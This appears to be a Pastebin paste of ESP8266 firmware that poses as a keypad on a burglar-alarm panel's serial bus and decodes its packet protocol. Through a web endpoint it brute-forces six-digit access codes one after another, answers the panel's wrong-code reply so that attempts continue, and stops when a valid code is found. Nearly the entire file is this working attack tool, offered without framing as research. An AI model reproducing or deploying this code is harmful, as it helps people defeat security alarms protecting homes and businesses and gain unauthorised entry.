Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <ESP8266WiFi.h>
- #include <ESP8266mDNS.h>
- #include <WiFiUdp.h>
- #include <ArduinoOTA.h>
- #include <ESP8266WebServer.h>
- #include <SoftwareSerial.h>
- ESP8266WebServer http(80);
- SoftwareSerial softSerial;
- #define SERIAL softSerial
- #define HOSTNAME "alarmkbd"
- #define WIFI_NAME "xxx"
- #define WIFI_PW "yyy"
- #define OTA_PW "test"
- #define KBD_ADDR 0x22
- #define MODE_IDLE 'I'
- #define MODE_BF_WAIT_PING 'P'
- #define MODE_BF_SEND_CODE 'S'
- #define MODE_BF_WAIT_CMDRECV 'C'
- #define MODE_BF_SEND_RESET 'R'
- #define LOG_LINES 15
- #define LOG_BUF_SIZE 80
- #define RX_BUF_LEN 27
- #define PAK_RECV_ALL 0x31
- #define PAK_RECV_KBD KBD_ADDR
- #define LED_BUILTIN 2
- #define LED_ON digitalWrite(LED_BUILTIN, LOW)
- #define LED_OFF digitalWrite(LED_BUILTIN, HIGH);
- char ledState = 0;
- #define TOGGLE_LED { ledState = !ledState; if (ledState) LED_ON; else LED_OFF; }
- char connectionConfigured = 0;
- typedef void (*PacketHandlerFunc) (const char len);
- struct PacketHandler {
- char* name;
- char addr; // byte 1 in pak
- char cmd; // byte 2 in pak
- char len;
- PacketHandlerFunc func;
- };
- struct State {
- char busMode;
- char busError;
- char led;
- char alarm;
- char txtMode;
- char line1[17];
- char line2[17];
- } state;
- char readRxBuffer(int i, char pakLen);
- void writeTxBuffer(char *buf, char pakLen) {
- delay(10); // TODO: Use a timer instead?
- SERIAL.write(buf, pakLen);
- }
- #define TXTMODE_SHOW_TEXT 0x01
- #define TXTMODE_ADMIN 0x40
- #define TXTMODE_FUNC_MENU 0x80
- #define TXTINDEX_LINE 0x20
- #define TXTINDEX_LINE2 0x40
- #define LED_NONE 0x00
- #define LED_GREEN 0x02
- #define LED_GREENB 0x04
- #define LED_RED 0x80
- #define LED_REDB 0x81
- #define LED_BEEPER 0x40
- #define KEY_ONOFF 0x80
- #define KEY_RESET 0x81
- #define KEY_INTERIOR 0x82
- #define KEY_BYPASS 0x84
- #define KEY_FUNC 0x88
- #define ALARM_OFF 0x00
- #define ALARM_ARMED 0x80
- #define PING_BUS_IDLE 0b00000001 // bitflags
- #define PING_BUS_ADMIN 0b01000000
- #define PING_BUS_FUNC_MODE 0b10000000
- #define PING_ERROR_NONE 0x01
- #define PING_ERROR_WRONG_CODE 0x31
- #define PING_ERROR_ARM_ZN_FAULT 0x61
- #define PONG_STATE_OUT_OF_SYSTEM 0x20
- #define PONG_STATE_LOCKED_OUT 0x21
- #define PONG_STATE_IDLE 0x01
- char emptyTxBufferSize;
- char pakBuffer[RX_BUF_LEN]; // Ringbuffer
- char pakBufferTxIndex = 0;
- uint32_t paksReceivedById[256];
- char slowUpdates = 0;
- char logBuffer[LOG_LINES][LOG_BUF_SIZE];
- char logWriteIndex = 0;
- char currentAction[80] = "Idle";
- char mode = MODE_IDLE;
- char *lastPacket = NULL;
- uint32_t bfCode = 000000;
- char ledStrBuf[4];
- char * ledStr(char led) {
- strcpy(ledStrBuf, "___");
- if (led & LED_GREEN) ledStrBuf[0] = 'g';
- if (led & LED_GREENB) ledStrBuf[0] = 'G';
- if (led & LED_RED) ledStrBuf[1] = 'r';
- if (led & LED_REDB) ledStrBuf[1] = 'R';
- if (led & LED_BEEPER) ledStrBuf[2] = 'B';
- return ledStrBuf;
- }
- char * alarmStr(char alarm) {
- if (alarm & ALARM_ARMED) return "armed";
- else return "off";
- }
- char textModeStrBuf[4];
- char * txtModeStr(char txtMode) {
- textModeStrBuf[0] = (txtMode & TXTMODE_SHOW_TEXT) ? 'T' : '_';
- textModeStrBuf[1] = (txtMode & TXTMODE_FUNC_MENU) ? 'F' : '_';
- textModeStrBuf[2] = (txtMode & TXTMODE_ADMIN) ? 'A' : '_';
- textModeStrBuf[3] = 0;
- return textModeStrBuf;
- }
- char busModeStrBuf[4];
- char * busModeStr(char busMode) {
- busModeStrBuf[0] = busMode & PING_BUS_IDLE ? 'I' : '_';
- busModeStrBuf[1] = busMode & PING_BUS_FUNC_MODE ? 'F' : '_';
- busModeStrBuf[2] = busMode & PING_BUS_ADMIN ? 'A' : '_';
- busModeStrBuf[3] = 0;
- return busModeStrBuf;
- }
- char * busErrorStr(char err) {
- switch (err) {
- default: return "?";
- case PING_ERROR_NONE: return "none";
- case PING_ERROR_WRONG_CODE: return "wrongCode";
- case PING_ERROR_ARM_ZN_FAULT: return "armZnFault";
- }
- }
- String printState() {
- String str = "state {";
- str += "\n busState: " + String(state.busMode, HEX) + " -> " + busModeStr(state.busMode);
- str += "\n busError: " + String(state.busError, HEX) + " -> " + busErrorStr(state.busError);
- str += "\n led: " + String(state.led, HEX) + " -> " + ledStr(state.led);
- str += "\n alarm: " + String(state.alarm, HEX) + " -> " + alarmStr(state.led);
- str += "\n txtMode: " + String(state.txtMode, HEX) + " -> " + txtModeStr(state.txtMode);
- str += "\n line1: \"" + String(state.line1) + "\"";
- str += "\n line2: \"" + String(state.line2) + "\"";
- str += "\n}";
- return str;
- }
- String printPakStats() {
- String str = "pakStats {";
- for (int i = 0; i <= 255; i++) {
- if (paksReceivedById[i] > 0) str += "\n 0x" + String(i, HEX) + " = " + String(paksReceivedById[i], DEC);
- }
- str += "\n}";
- return str;
- }
- void sendPong(char state) {
- log("tx Pong state=%02X", state);
- char pak[4];
- pak[0] = KBD_ADDR;
- pak[1] = 0x44;
- pak[2] = state;
- pak[3] = pak[0] + pak[1] + pak[2];
- writeTxBuffer(pak, sizeof(pak));
- }
- void sendKeyCode6(uint32_t code, char key) {
- log("tx KeyCode6 code=%d key=%02X", code, key);
- // KBD 1x l=11 | K1->P Key&Code6 | 21 2B 01 04 05 06 07 08 09 88 FC | !+........ü | code6=456789 key=Func
- char pak[11];
- pak[0] = KBD_ADDR;
- pak[1] = 0x2B;
- pak[2] = 0x01; // 0x21 = reset
- for (int i = 1; i <= 6; i++) {
- char digit = code % 10;
- pak[3 + (6 - i)] = (digit == 0x00 ? 0x0A : digit);
- code /= 10;
- }
- pak[9] = key;
- char chksum = 0;
- for (int i = 0; i < sizeof(pak)-1; i++) chksum += pak[i];
- pak[sizeof(pak)-1] = chksum;
- writeTxBuffer(pak, sizeof(pak));
- }
- void sendReset() {
- log("tx Reset");
- // s=7821ms t=8ms Async Serial 1x l= 5 | K1->P Key&Code0 | 21 25 21 91 F8 | !%!.o | add=RESET key=No
- char pak[5];
- pak[0] = KBD_ADDR;
- pak[1] = 0x25;
- pak[2] = 0x21; // add=RESET
- pak[3] = KEY_RESET;
- char chksum = 0;
- for (int i = 0; i < sizeof(pak)-1; i++) chksum += pak[i];
- pak[sizeof(pak)-1] = chksum;
- writeTxBuffer(pak, sizeof(pak));
- }
- void handleExtStatus(char len) {
- if (readRxBuffer(3, len) == 0x04) return; // inv-checksum format; ignore
- state.txtMode = readRxBuffer(4, len);
- char txtIndex = readRxBuffer(5, len);
- state.led = readRxBuffer(8, len);
- state.alarm = readRxBuffer(9, len);
- char *txtTarget = NULL;
- if (txtIndex & TXTINDEX_LINE2) txtTarget = &state.line2[0];
- else if (txtIndex & TXTINDEX_LINE) txtTarget = &state.line1[0];
- if (state.txtMode & TXTMODE_SHOW_TEXT && txtTarget != NULL) {
- for (int i = 0; i < 16; i++)
- txtTarget[i] = readRxBuffer(10+i, len);
- txtTarget[16] = 0;
- }
- log("rx ExtStatus txtMode=%02X txtIndex=%02X led=%02X alarm=%02X txt=%s", state.txtMode, txtIndex, state.led, state.alarm, txtTarget);
- }
- void handleConf(char len) {
- log("rx Conf");
- sendPong(PONG_STATE_OUT_OF_SYSTEM);
- }
- void handleCmdRecv(char len) {
- log("rx CmdRecv %02X", readRxBuffer(1, len));
- if (mode == MODE_BF_WAIT_CMDRECV) {
- mode = MODE_BF_WAIT_PING;
- }
- }
- void bfSendNextCode() {
- if (bfCode == 999999) {
- log("bfSendNextCode reached end");
- strcpy(currentAction, "Reached end :(");
- mode = MODE_IDLE;
- return; // nothing found, I guess
- }
- strcpy(currentAction, "Attempting code..");
- bfCode = bfCode + 1;
- log("bfSendNextCode %d", bfCode);
- sendKeyCode6(bfCode, KEY_FUNC);
- mode = MODE_BF_WAIT_CMDRECV; // Panel should ACK this cmd with a CMDRECV (doesn't matter if code valid or not valid)
- }
- void bfCorrectCode() {
- log("bfCorrectCode");
- strcpy(currentAction, "Found code!");
- sendReset(); // Exit Func mode
- mode = MODE_IDLE;
- }
- void handlePing(char len) {
- state.busMode = readRxBuffer(4, len); // 0x01 idle, 0xC1 adminFuncMode, 0x81 userFuncMode
- state.busError = readRxBuffer(5, len); // 0x01 none, 0x31 wrongCode (respond with 0x21 wrongCodeLockout), 0x61 armZnFault
- log("rx Ping busState=%s (%02X), error=%s (%02X)",
- busModeStr(state.busMode), state.busMode,
- busErrorStr(state.busError), state.busError);
- if (state.busError == PING_ERROR_WRONG_CODE) sendPong(PONG_STATE_LOCKED_OUT);
- else if (state.busMode & PING_BUS_FUNC_MODE) bfCorrectCode();
- else if (mode == MODE_BF_WAIT_PING || mode == MODE_BF_SEND_CODE) bfSendNextCode(); // Can actually already send on MODE_BF_WAIT_PING, because this case here means we've received a healthy response
- else {
- sendPong(PONG_STATE_IDLE);
- if (mode == MODE_BF_WAIT_PING) { // Wait for at least one, fully healty Ping<>Pong cycle
- mode = MODE_BF_SEND_CODE;
- }
- }
- }
- const PacketHandler PACKET_HANDLERS[] = {
- { "ExtStatus", /*addr=*/ PAK_RECV_ALL, /*cmd=*/ 0x3B, /*len=*/ 27, /*func=*/ handleExtStatus },
- { "Status", /*addr=*/ PAK_RECV_ALL, /*cmd=*/ 0x31, /*len=*/ 17, /*func=*/ NULL },
- { "Ping", /*addr=*/ PAK_RECV_KBD, /*cmd=*/ 0x4D, /*len=*/ 13, /*func=*/ handlePing },
- { "CmdRecv", /*addr=*/ PAK_RECV_KBD, /*cmd=*/ 0xC5, /*len=*/ 5, /*func=*/ handleCmdRecv },
- { "Conf", /*addr=*/ PAK_RECV_KBD, /*cmd=*/ 0x85, /*len=*/ 5, /*func=*/ handleConf },
- };
- void setup() {
- WiFi.mode(WIFI_STA);
- WiFi.hostname(HOSTNAME);
- WiFi.begin(WIFI_NAME, WIFI_PW);
- http.on("/", handleRoot);
- http.on("/idle", handleIdle);
- http.on("/bf", handleBf);
- http.begin();
- //Serial.begin(5208, SERIAL_8E1); // 8 bits, even parity, 5208 baud
- softSerial.begin(5208, SWSERIAL_8E1, D1, D2);
- emptyTxBufferSize = SERIAL.availableForWrite();
- pinMode(LED_BUILTIN, OUTPUT);
- }
- String readLog() {
- String logStr = "";
- for (int i = 0; i < LOG_LINES; i++) {
- logStr += "" + String(i) + ". " + String(logBuffer[(i + logWriteIndex) % LOG_LINES]) + "\n";
- }
- return logStr;
- }
- void log(const char* strTemplate, ...) {
- va_list args;
- va_start(args, strTemplate);
- vsnprintf(&logBuffer[logWriteIndex][0], LOG_BUF_SIZE, strTemplate, args);
- va_end(args);
- logWriteIndex = (logWriteIndex+1) % LOG_LINES;
- }
- /** Reads one byte from the serial port, and places it in the RX buffer. */
- void readByteIntoRxBuffer() {
- pakBuffer[pakBufferTxIndex] = SERIAL.read();
- pakBufferTxIndex = (pakBufferTxIndex+1) % RX_BUF_LEN;
- }
- /** Calculates the backwards-in-rx-buffer going index for the given packet. */
- char calculateRxBufferIndex(int i, char pakLen) {
- int arrayIdx = pakBufferTxIndex - pakLen + i;
- while (arrayIdx < 0) arrayIdx += RX_BUF_LEN;
- return arrayIdx;
- }
- /** Reads the prior {pakLen} bytes, starting at {txIndex-pakLen} */
- char readRxBuffer(int i, char pakLen) {
- return pakBuffer[calculateRxBufferIndex(i, pakLen)];
- }
- /** Erases an handled packet from the RX buffer, preventing it from accidentally matching a second packet handler. */
- void eraseRxBuffer(char pakLen) {
- for (int i = 0; i < pakLen; i++) {
- pakBuffer[calculateRxBufferIndex(i, pakLen)] = 0;
- }
- }
- /** Calculates the 8-bit check-sum() */
- char calculateChecksum(char pakLen) {
- char sum = 0;
- for (int i = 0; i < pakLen - 1; i++) {
- sum += readRxBuffer(i, pakLen);
- }
- return sum;
- }
- /** Checks if the RX ring buffer just received a valid packet for the specified handler. */
- bool isValidPacketFor(PacketHandler packetHandler) {
- if (readRxBuffer(0, packetHandler.len) != packetHandler.addr)
- return false;
- if (readRxBuffer(1, packetHandler.len) != packetHandler.cmd)
- return false;
- char checksum = calculateChecksum(packetHandler.len);
- // TODO: Maybe support inverse checksum?
- if (checksum != readRxBuffer(packetHandler.len - 1, packetHandler.len))
- return false;
- return true;
- }
- /** Returns the first matching packet handler, or NULL. */
- const PacketHandler* findMatchingPacketHandler() {
- for (int i = 0; i < sizeof(PACKET_HANDLERS) / sizeof(PacketHandler); i++) {
- if (isValidPacketFor(PACKET_HANDLERS[i]))
- return &PACKET_HANDLERS[i];
- }
- return NULL;
- }
- /** Tries finding a matching packet handler and executing it. Returns true if a packetHandler was matched. */
- bool tryHandleValidPacket() {
- const PacketHandler* pakHandler = findMatchingPacketHandler();
- if (pakHandler == NULL) return false;
- // Record packetHandler match
- paksReceivedById[pakHandler->cmd]++;
- TOGGLE_LED;
- lastPacket = pakHandler->name;
- if (pakHandler->func != NULL) {
- pakHandler->func(pakHandler->len);
- } else log("rx %s (n/a)", pakHandler->name);
- eraseRxBuffer(pakHandler->len);
- }
- /** Receives data from the serial port; waiting for a packet to be found. */
- void rx() {
- while (SERIAL.available() > 0) {
- readByteIntoRxBuffer();
- if (tryHandleValidPacket()) break;
- }
- }
- void handleLogic() {
- rx();
- }
- void handleRoot() {
- String str = String(HOSTNAME);
- str += "\nmillis()=" + String(millis(), DEC) + ", free_heap=" + String(system_get_free_heap_size(), DEC) + ", slowUpdates=" + String(slowUpdates, DEC);
- str += "\naddr=" + String(KBD_ADDR, HEX) + " pakBuffer:";
- for (int i = 0; i < sizeof(pakBuffer); i++) str += String(pakBufferTxIndex == i ? '>' : ' ') + String(pakBuffer[i], HEX);
- str += "\nlastPak: " + String(lastPacket);
- str += "\nmode=" + String(mode) + " code=" + String(bfCode, DEC) + " action=" + String(currentAction);
- str += "\n\n";
- str += printState();
- str += "\n\n";
- str += printPakStats();
- str += "\n\nlatest log:\n" + readLog();
- http.sendHeader("X-Content-Type-Options", "nosniff");
- http.send(200, "text/plain", str);
- }
- void handleIdle() {
- http.send(200, "text/plain", "ok, idle.");
- mode = MODE_IDLE;
- }
- void handleBf() {
- http.send(200, "text/plain", "will do.");
- String codeArg = http.arg("code");
- if (codeArg != "") {
- uint32_t code = 0;
- for (int i = 0; i < codeArg.length(); i++) {
- char digit = codeArg.charAt(i) - '0';
- code = code * 10;
- code += digit;
- }
- bfCode = code - 1;
- }
- mode = MODE_BF_WAIT_PING;
- }
- void loop() {
- unsigned long now = millis();
- if (WiFi.isConnected()) {
- if (!connectionConfigured) {
- connectionConfigured = true;
- ArduinoOTA.setHostname(HOSTNAME);
- ArduinoOTA.setPassword(OTA_PW);
- ArduinoOTA.begin();
- }
- ArduinoOTA.handle();
- http.handleClient();
- }
- handleLogic();
- unsigned long elapsed = millis() - now;
- if (elapsed > 50) {
- slowUpdates++;
- log("Slow Update: %d ms", elapsed);
- }
- }
Add Comment
Please, Sign In to add comment